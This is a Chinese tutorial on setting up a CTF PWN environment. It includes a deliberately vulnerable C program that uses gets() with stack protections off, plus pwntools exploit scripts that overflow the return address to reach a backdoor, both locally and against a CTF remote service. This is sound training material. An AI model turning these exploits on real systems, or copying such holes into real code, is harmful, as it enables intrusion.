☰
PWN入门环境搭建全攻略:从工具链到远程拿flag
2026/10/13 2:28:18 网站建设 项目流程

说实话,PWN这个方向劝退人的第一道坎,往往不是漏洞原理,而是环境。新手照着题解操作,第一步“本地运行”就报错,第二步“gdb调试”发现界面黑压压一片不知道看什么,第三步“打远程”又发现连接方式跟本地完全不一样。问题不在题目,在于你还没有一套顺手的工具链。这篇手册就干一件事:从零开始搭一套能让你在CTF PWN、二进制安全方向学下去的完整环境,覆盖系统选型、基础工具、调试器、反汇编分析、自动化利用脚本,最后用一道CTFshow入门题把本地分析和远程拿flag的完整流程走通。适合刚接触PWN或准备刷CTFshow PWN题的同学,按步骤执行即可。

1. PWN到底在考什么:环境需求必须先想明白

1.1 一道PWN题的完整生命周期

PWN题目本质上是一个带有漏洞的二进制程序,赛方把可执行文件发给你,漏洞藏在里面,你的任务是通过逆向分析找到漏洞点,构造特定的输入数据,最终拿到shell或者读取flag。整个过程拆开看大概有四个环节:静态分析、动态调试、漏洞利用脚本编写、远程攻击。每个环节都依赖不同的工具,缺一环都会让你卡死在某个步骤上。

我把四个环节和对应工具整理成一张表,新手照着这张表准备环境就够了,其他都是锦上添花:

环节核心工具典型动作
静态分析file、checksec、objdump、readelf、strings、Ghidra/IDA查看文件类型、保护机制、找system或backdoor函数
动态调试gdb + pwndbg打断点、观察寄存器、查看栈上变化、确认溢出偏移
漏洞利用pwntools、cyclic、ROPgadget构造payload、本地验证打通、计算偏移
远程攻击pwntools的remote、nc连接题目容器、发送payload、拿flag

这里要特别说一句:新手看到网上推荐“全工具套件”很容易焦虑,觉得每个都得装。实际上PWN学习前期只需要上面的核心四件套,等做到堆题、内核题再补对应工具不迟。工具装得再多,不如先把“分析→调试→利用”这条主链路跑通。

1.2 系统选型:Ubuntu、Kali、还是另一个方案

绝大多数PWN工具链在Linux下最顺手,这一点基本没有争议。问题在于具体选哪个发行版。我见过很多新手一上来就装Kali,觉得“黑客系统”酷,结果做PWN时反而被一堆无关工具干扰,系统也偏臃肿。也有一些同学用Windows裸机硬闯,最后卡在Nc连接、二进制处理上,白白消耗热情。

方案优点缺点推荐度
Ubuntu 22.04 LTS 虚拟机稳定、glibc版本居中、资料多需要自己装工具强烈推荐
Kali 虚拟机自带大量渗透工具臃肿、工具链偏老旧、PWN专项需要二次配置不推荐
WSL2启动快、和Windows文件互通调试部分题目有兼容性问题,网络配置偶尔折腾可选备胎
实体机装Ubuntu性能最好切换系统麻烦,新手不值当老手折腾

我个人的推荐方案是:VMware或VirtualBox里装一个Ubuntu 22.04 LTS。为什么选22.04而不是最新的24.04?因为平台上的很多题目容器基于Ubuntu运行,glibc版本接近能减少“本地跑通远程打不通”的尴尬。内存给4GB以上,硬盘60GB绰绰有余,CPU两核起步。这套配置跑PWN题目完全够用,虚拟机出问题还能随时快照、重装,比实体机省心太多。

2. 基础环境搭建:从空白虚拟机到能跑题目

2.1 创建虚拟机与初始化系统

装好虚拟机软件后,创建一个新虚拟机,系统镜像选Ubuntu 22.04 LTS。安装过程本身不用多说,关键是在安装时勾选“安装第三方软件”和“更新”,这样基础驱动和网络组件会一并配好,省得后面折腾。安装完成后进入系统,第一件事就是更新软件源和安装基础工具。

sudo apt update && sudo apt upgrade -y sudo apt install -y build-essential git vim gdb python3 python3-pip netcat-traditional lrzsz curl file binutils

这里每个包都有用途:build-essential包含gcc和make,虽然做题不一定编译源码,但复现题目环境、本地造靶场时要用;gdb是动态调试的根基;python3-pip用来装pwntools;netcat用于连接题目端口;lrzsz是一个很容易被忽视的工具,它支持从Windows或Mac宿主机直接拖拽文件到Linux虚拟机,CTF题目下载的附件压缩包靠它传进虚拟机非常方便。

如果apt下载速度很慢,可以把/etc/apt/sources.list里的软件源换成国内常用镜像,例如阿里云或清华源,换完记得执行sudo apt update。这个操作在国内网络环境下几乎是必须的,否则装一个gdb都可能等半天。

2.2 安装pwntools:写exp的主力库

pwntools是CTF PWN方向最核心的Python库,集成了进程交互、网络连接、ELF解析、shellcode生成、ROP构造等功能。没有它,PWN题根本打不动。安装命令很简单:

sudo pip3 install pwntools

如果网络慢,用国内pip源:

sudo pip3 install -i https://mirrors.aliyun.com/pypi/simple pwntools

装完验证一下能不能正常导入:

python3 -c "from pwn import *; print(hex(0x61626364))"

如果能输出0x61626364就说明装好了。这里有两个常见的坑:一是有人会手误输成pip install pwn,这个包跟pwntools完全不是一回事;二是第一次导入pwntools有时会卡几秒,那是它在初始化一些依赖,不是死机,稍微等一等就好。

pwntools的核心用法在后续实战部分会完整演示,你只需要记住几个最常用的对象:process()启动本地程序,remote()连接远程题目,sendline()发送一行数据,recvuntil()接收指定字符串之前的内容,ELF()用来解析二进制中的符号和地址,p64()和u64()负责把整数与字节互相转换。这六个功能足够陪你度过整个入门阶段。

2.3 命令行的“体检工具”:file、checksec、strings等

拿到一道PWN题,第一个动作永远是对二进制做体检。先看文件类型:

file ./pwn

输出大致长这样:

ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, not stripped

这条输出告诉你三件事:这是64位程序、动态链接、没有strip(符号表保留)。符号表保留对入门阶段是重大利好,意味着你能直接用objdump或nm找到函数地址。

接下来是保护机制检查:

checksec --file=./pwn

输出样例:

Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

这四行是PWN解题的“天气预报”。能看到canary有没有开启、PIE是否开启、栈是否可执行。栈溢出题目最怕canary,PIE影响地址固定,NX决定你能不能直接执行shellcode。入门题一般只看前几项,后面学到ret2libc才会真正需要逐项理解。strings则能快速查看程序里的明文字符串,比如/bin/sh、system、flag,有时候看一眼就能猜到漏洞利用路径。还有objdump -t ./pwn可以直接列出符号表,找backdoor地址比开GUI工具更快。

3. 调试器才是命根子:gdb + pwndbg 黄金组合

3.1 为什么原生gdb不够用

原生gdb的界面对于新手来说极其不友好,启动后黑漆漆一片,输入info registers才给你列一堆寄存器,输入x才能看内存,崩溃时也不告诉你rip变成了什么。PWN调试恰恰最需要快速看到“当前指令是什么、寄存器值是什么、栈顶附近有什么”,手动敲命令效率太低,而且看一眼就忘。

pwndbg是一个gdb插件,装上之后每次运行都会自动展示当前汇编指令、寄存器值、栈顶附近内容、反汇编上下文,崩溃时还会高亮显示导致崩溃的地址和值。不用额外输命令,信息全部甩在你脸上,这对新手建立“内存布局”的直觉非常有帮助。

同类插件还有peda和gef,我当初三个都试过。peda功能不错但更新不如pwndbg活跃,gef界面最花哨但很多题解里的命令基于pwndbg,跟题解对不上号会增加困惑。所以最终建议只装pwndbg,它的社区最活跃,新工具链适配也最快。

3.2 安装pwndbg

安装pwndbg需要先确保gdb已安装,然后克隆项目并执行安装脚本:

git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh

安装过程会下载一些Python依赖,耗时取决于网络,通常几分钟到十几分钟。装完后启动gdb:

gdb ./pwn

如果看到pwndbg的提示语和风格化的prompt,就说明安装成功。进入gdb后输入start,再输入context,可以看到完整的上下文展示。

这里提醒几个踩过的坑。第一,安装脚本可能因为缺python3-dev失败,提前sudo apt install python3-dev能省不少事。第二,如果你的gdb版本非常老,可能需要先升级gdb:

sudo apt install gdb

第三,不要在宿主机Windows上尝试直接跑pwndbg,流程虽然能通,但坑比虚拟机里多一个量级,没必要给自己加戏。

3.3 调试图三件套:断点、单步、看内存

pwndbg装好后,日常调试就围绕几个核心命令转。设断点用b,后面跟函数名或地址,比如b vuln;运行程序用r;单步执行用ni(逐指令,不进入函数)或si(单步进入);继续运行用c;看寄存器用info registers;看栈上用x/20gx $rsp,意思是按8字节一组显示栈顶起始的20组数据。

实际调试中,查看内存的频率非常高。比如你往缓冲区里塞了200个字符,想知道返回地址被覆盖成了什么,就在崩溃后执行x/10gx $rsp,栈顶会露出被填充的数据,你把出现的疑似字母组合复制出来,用cyclic -l反向计算偏移。这套“填充-崩溃-查栈-算偏移”的流程是栈溢出入门最核心的调试节奏,后面实战会完整走一遍。

3.4 脚本与调试器联动:gdb.attach的正确姿势

在exp脚本里直接开gdb也是PWN老手的日常操作,pwntools提供了gdb.attach()接口。调试时,你会想一边用pwntools控制程序输入,一边在gdb里看程序状态。具体做法:

from pwn import * context.terminal = ['tmux', 'splitw', '-h'] p = process('./pwn') gdb.attach(p, gdbscript='b vuln\ncontinue') p.interactive()

这段脚本会自动打开一个tmux窗口,把gdb绑定到进程上,并预先设置好断点。注意第一行context.terminal必须配置,否则pwntools不知道用什么方式打开新终端。我习惯用tmux,因为后面写复杂exp时还能多开几个窗口分屏看。这个方法在远程题目没法用,但本地调试阶段效率极高。

4. 反汇编与漏洞分析工具选型

4.1 三种主流方案的定位

PWN分析离不开反汇编工具,主流的三个选择是Ghidra、IDA、radare2。它们的定位差别很大,新手不必全装,知道怎么配合就够了。

Ghidra是美国NSA开源的工具,功能完整,反编译出来的伪代码可读性非常强,关键是免费且跨平台。缺点是界面比较糙,加载大项目时偏慢,Java环境偶尔抽风。IDA Free版操作顺滑,伪代码清爽,但免费版有功能裁剪,新建工程会话经常需要手动操作。radare2则是纯命令行工具,配合Cutter的GUI用起来也很强大,脚本化程度最高,但学习曲线在三者里最陡峭。

我的建议是:入门阶段装Ghidra,它的免费性和反编译能力足够覆盖90%的PWN静态分析需求。等以后真的需要更强大的函数识别或调试联动,再考虑IDA商业版也不迟。radare2不是必须,想折腾命令行的时候再玩。

4.2 用Ghidra快速定位漏洞函数

用Ghidra分析PWN题目的步骤很固定。打开Ghidra后新建工程,导入目标二进制,等自动分析跑完,左侧Symbol Tree里能看到所有函数。重点关注三类名字:main、vuln、backdoor、system、execve这类和系统命令相关的函数,以及read、gets、strcpy、sprintf这类标准输入输出函数。

双击进入函数后,Ghidra会把C语言伪代码显示出来。以典型栈溢出为例,你大概率会看到类似这样的代码:

void vuln(void) { char buf[72]; puts("Input:"); gets(buf); return; }

gets函数不对长度做任何限制,直接往栈缓冲区写,这就是漏洞点。对新手来说,找到“危险函数+用户可控输入”的组合,基本就等于找到了突破口。后续构造payload时并不需要读懂全部逻辑,只盯着缓冲区大小和危险调用位置就够了。

4.3 构造exp时的两个辅助工具:ROPgadget与one_gadget

除了静态分析和动态调试,还有两个工具在构造利用链时至关重要。第一个是ROPgadget,用来搜索代码段里可利用的指令片段,也就是gadget。安装:

sudo pip3 install ROPgadget

常用搜索:

ROPgadget --binary ./pwn --only "pop|ret" | grep "pop rdi"

为什么要找pop rdi; ret?因为64位程序函数调用约定里,第一个参数通过rdi寄存器传递。如果程序里没有直接的system("/bin/sh")调用,你需要先通过栈溢出控制rdi的值,再跳到system函数。这个gadget就是用来“把栈上的值弹入rdi,然后ret到下一个地址”。

第二个是one_gadget,它能在libc里找一个一条地址就能直接执行execve("/bin/sh")的完整gadget,省去拼接参数的过程。安装需要Ruby环境:

sudo gem install one_gadget

使用:

one_gadget /lib/x86_64-linux-gnu/libc.so.6

输出会有几个候选地址,选一个约束条件最宽松的用。这两个工具属于PWN进阶的必备,入门阶段先装好,理解原理可以慢慢来。

5. 完整演练:CTFshow入门题从分析到拿flag

5.1 自己造题:先有一个本地靶场

为了把整个流程走通,我建议你先在本地造一个最简单的ret2text题。CTFshow平台的PWN入门系列大量使用这种题目结构,原理一模一样,先自己复现一遍,后面就能直接套用到平台题目上。源码如下:

#include <stdio.h> #include <stdlib.h> void backdoor() { system("cat flag"); } void vuln() { char buf[64]; setbuf(stdout, NULL); puts("Input:"); gets(buf); } int main() { vuln(); return 0; }

编译命令:

gcc -m64 -no-pie -fno-stack-protector -o pwn pwn.c

解释一下两个关键参数:-no-pie关闭地址随机化,让函数地址固定;-fno-stack-protector关闭栈保护,也就是没有canary。这样编译出来的pwn就是最经典的“无保护栈溢出”靶场。在本地建一个flag文件用于验证:

echo 'flag{test}' > flag

5.2 没有源码时怎么分析:file、checksec、找符号

真实CTF题目不会给你源码,所以拿到附件后第一步是用工具“摸脉”。对上面这个pwn执行:

file ./pwn checksec --file=./pwn objdump -t ./pwn | grep backdoor

前两个命令的输出会说明这是64位动态链接程序,且checksec显示“No canary found”和“No PIE”。第三个命令直接列出符号表,你会在输出里看到类似0000000000401176 g F .text 0000000000000029 backdoor这样的行,这串地址就是backdoor函数的位置。如果题目被strip过,符号表里找不到名字,就得用Ghidra或者strings另找入口,但CTFshow入门题大部分会保留符号,方便新手练习。

5.3 找偏移并用gdb验证

现在目标很明确:程序执行完gets返回时,返回地址被我们控制,如果能跳转到backdoor函数,就能执行system("cat flag")。难点在于,buf到返回地址之间到底有多少字节的偏移?这里用cyclic来求。

from pwn import * context.binary = './pwn' payload = cyclic(200) open('payload.txt', 'wb').write(payload)

然后用gdb让程序读取这个文件:

gdb ./pwn pwndbg> r < payload.txt

程序会因为栈溢出崩溃,pwndbg会高亮显示崩溃时rip的值。如果你看到类似0x62616171这种8字节值,把它记下来。回到shell执行:

cyclic -l 0x62616171

输出一个数字,比如72。这意味着从buf开头到返回地址正好是72字节,也就是64字节缓冲区加上8字节的rbp。溢出点就这样定位了。

5.4 写第一个exp:本地打通

偏移确认后,第一个exp就水到渠成:

from pwn import * context.binary = './pwn' context.log_level = 'info' p = process('./pwn') elf = ELF('./pwn') p.recvuntil(b'Input:') payload = b'a' * 72 + p64(elf.symbols['backdoor']) p.sendline(payload) print(p.recvall())

这段脚本的逻辑很直接:先用recvuntil等待程序输出“Input:”,表示程序已经执行到gets等待输入;然后构造payload,前72字节是填充,后面8字节是backdoor函数的地址;sendline发送后程序返回时跳到backdoor执行,输出flag。

运行成功应该能看到flag{test}打印出来。本地这一关过了,说明你已经掌握了PWN的基本功:分析保护、找偏移、构造payload、本地验证。

5.5 连接CTFshow远程题目

本地能做到的事情,远程只是换个连接方式。登陆CTFshow平台,找到PWN方向的入门题目,下载题目附件,按前面流程本地分析好偏移和backdoor地址。然后在exp里把process('./pwn')替换成remote(ip, port):

from pwn import * context.binary = './pwn' context.log_level = 'info' p = remote('1.2.3.4', 12345) elf = ELF('./pwn') p.recvuntil(b'Input:') payload = b'a' * 72 + p64(elf.symbols['backdoor']) p.sendline(payload) print(p.recvall())

CTFshow的题目页面会给一个动态分配的IP和端口,容器是独立启动的,每次开启地址可能变化,需要以页面显示为准。如果题目附件里带了libc,或者题目就是ret2libc类型,还需要先把libc版本匹配好再打。但核心逻辑不变:本地能通、远程libc环境一致,远程就一定能通。

6. 新手最容易踩的坑:问题排查与避坑实录

6.1 问题速查表

PWN环境问题有80%集中在几个固定原因上,我把实操中常见的现象、原因和解决方案整理成一个速查表,遇到问题先来查一查:

现象最常见原因解决方案
pip安装pwntools失败网络问题或命令拼错换国内pip源;确认命令是pwntools不是pwn
gdb启动不显示pwndbg插件没装好或gdb版本过旧重新执行setup.sh;升级gdb到新版本
32位题目跑不起来缺少32位运行库dpkg --add-architecture i386 && apt install libc6:i386 libc6-dev:i386
本地能通、远程不通目标libc版本不一致用patchelf替换本地libc;检查远程容器是否过期
payload运行即SIGSEGV栈对齐问题64位payload前面补一个ret gadget地址
远程连接失败题目容器未开启或已过期在CTFshow题目页重新开启实例,刷新IP端口
带canary程序一覆盖就崩溃题目开启了Stack Canary不能直接覆盖返回地址,需要先泄漏canary,后面再学绕过

6.2 64位程序为什么会莫名崩溃:栈对齐问题

这是新手第一次打64位ret2text题最常见也最玄学的问题:本地打印flag前直接SIGSEGV,或者system执行到了但莫名崩溃。原因在于System V AMD64 ABI规定,在执行call指令之前,rsp必须按16字节对齐。当gets返回到你的gadget或backdoor函数时,如果rsp没有对齐到16字节边界,system函数内部的某些指令(比如movaps)就会触发段错误。

解法非常简单:在payload的返回地址之前插入一个retgadget的地址。作用是把rsp先加8,完成一次“多余”的返回,让栈指针重新对齐,然后再跳到backdoor。很多题解里你会看到类似payload = b'a'*72 + p64(ret) + p64(backdoor)的写法,原因就是这个。找ret gadget用ROPgadget:

ROPgadget --binary ./pwn --only "ret"

6.3 32位题目真不多:但遇到别慌

很多新手会担心“我学的是64位,遇到32位怎么办”。实际上CTFshow入门PWN以64位为主,但保不准遇到32位题目。32位题目的差异主要有两点:一是函数参数不是通过寄存器传,而是全部压栈,所以payload结构简单一些;二是地址宽度变成4字节,用p32()而不是p64()。系统层面需要安装32位运行库,否则程序跑不起来。另外调试32位程序时普通gdb也能用,不必专门装gdb-multiarch,至少入门阶段用不到。

安装32位库命令上面速查表里已经给了。装完后file ./pwn会显示ELF 32-bit,pwntools的process()能自动识别并运行,不需要额外配置。

6.4 脚本与调试互相干扰:gdb.attach的两个注意事项

调试复杂exp时,gdb.attach()确实好用,但它有两个很折磨人的坑。第一,调用gdb.attach(p)之后,pwntools会暂停程序等待gdb附加,你需要手动在gdb里输入continue,程序才会继续跑。所以gdbscript里如果只写b vuln\ncontinue,实际上在断点前程序就已经继续了。第二,调试完一定要记得把attach相关代码注释掉,不然每次跑exp都会弹出一个gdb窗口,等你去手动点继续,流程被完全打断。

我现在的习惯是:一开始用文件输入方式配合gdb快速定位偏移,等偏移确认、payload基本成型后,再把gdb.attach从代码里删掉,直接跑真枪实弹的exp。这样既不会在调试阶段迷失方向,也不会在最后冲刺阶段被工具干扰。

6.5 一句话避坑清单

除了上面的详细排查,我把自己平时做题时的一些经验凑成一条避坑清单,新手可以贴在终端旁边。第一,PWN题优先看符号表,不让strip的题目用objdump -t找函数地址永远是最快的。第二,不要试图手动改系统自带的libc来适配题目环境,正确做法是用容器或者patchelf;第三,一道题做不出来先检查环境,再检查思路,很多时候不是思路错了,而是payload里的地址少了一位或者偏移差了8字节;第四,做难题之前先把ret2text、ret2libc、格式化字符串这三种基础题型练熟,CTFshow入门题就是按这个顺序排的,跟着刷就行。

根据我个人经验,环境搭建最忌讳的是沉迷“工欲善其事必先利其器”。工具链只要到了能跑题的程度就收手,千万别花三天时间折腾终端配色和插件美化。真正让你进步的从来不是更多工具,而是把每一道题完整地走五遍:拿到附件先file加checksec、静态分析找危险函数、动态调试确认偏移、本地exp打穿、再连远程拿flag。这套流程走顺以后,再去碰堆溢出、格式化字符串、条件竞争这些高级方向,你会发现新方向只是换了漏洞点,分析手段还是那几样。

最后分享一个小技巧:每次开始做新题前,先用python3 --version和gdb --version确认一下环境版本,再跑一小段python3 -c "from pwn import *"验证pwntools可用。十分钟一次的例行检查,能帮你避免“折腾半天发现是环境变了而不是思路错了”的巨大挫败感。环境稳了,剩下的事情就是靠耐心和题目一点一点磨出来的了。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询